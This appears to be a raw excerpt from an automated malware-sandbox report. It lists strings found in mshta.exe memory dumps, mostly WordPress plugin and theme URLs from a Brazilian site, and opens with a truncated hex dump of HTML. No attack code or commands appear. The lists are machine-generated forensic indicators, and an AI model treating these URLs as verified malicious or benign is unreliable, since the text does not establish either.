66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7

Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.352844207.00000000078B0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.518094846.00000000078B3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.352941265.00000000078B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: jPlayerPlaylist.prototype._initPlaylist//www.youtube.com/embed/%id%?autoplay=1jPlayerPlaylist.prototype.options() equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.354748609.0000000007976000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.354818698.0000000007977000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.518813719.0000000007978000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.354652701.0000000007973000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.354538929.0000000007970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <div class="owl-video-frame" />//www.youtube.com/embed/% equals www.youtube.com (Youtube)

Source: mshta.exe, 0000000A.00000002.523526609.000000000C542000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381791960.000000000C543000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000002.523526609.000000000C542000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381791960.000000000C543000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr	String found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 0000000A.00000003.304114350.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511697847.0000000006217000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347770350.0000000006217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: animate-logo[1].css.10.dr	String found in binary or memory: http://daneden.me/animate
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382289574.000000000C6C6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523747245.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347797276.000000000C6C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.351138113.000000000C6C6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381839079.000000000C6C0000.00000004.00000800.00020000.00000000.sdmp, jquery.magnific-popup.min[1].js.10.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 0000000A.00000003.307731539.00000000062FA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.307747464.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 0000000A.00000003.326083539.0000000007713000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.516090185.0000000007714000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/0_
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304712636.00000000068F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/a
Source: mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304712636.00000000068F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/a&O
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304712636.00000000068F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/aFO
Source: mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wcontent/themes/theme51253//scrollShowTime.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20M
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512742078.0000000006951000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.07u
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.522532254.000000000C320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0C:
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0EMS
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0LMEM
Source: mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0p
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.js
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.05K
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0Vr
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0fC:
Source: mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6/
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.63
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6E
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6G
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6HQN
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6N
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6er=
Source: mshta.exe, 0000000A.00000003.382274160.000000000C5DA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381385658.000000000C5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6erL
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.512852643.00000000069B6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346640919.00000000069B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.11c
Source: mshta.exe, 0000000A.00000002.522532254.000000000C320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1C:
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1K
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Y
Source: mshta.exe, 0000000A.00000002.512852643.00000000069B6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346640919.00000000069B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1m
Source: mshta.exe, 0000000A.00000002.511592685.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.35n
Source: mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3E
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Qn
Source: mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.35L
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3LMEM
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3P
Source: mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Source: mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png-
Source: mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png_
Source: mshta.exe, 0000000A.00000002.522930366.000000000C3C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngu
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png.
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0E
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngRYV=
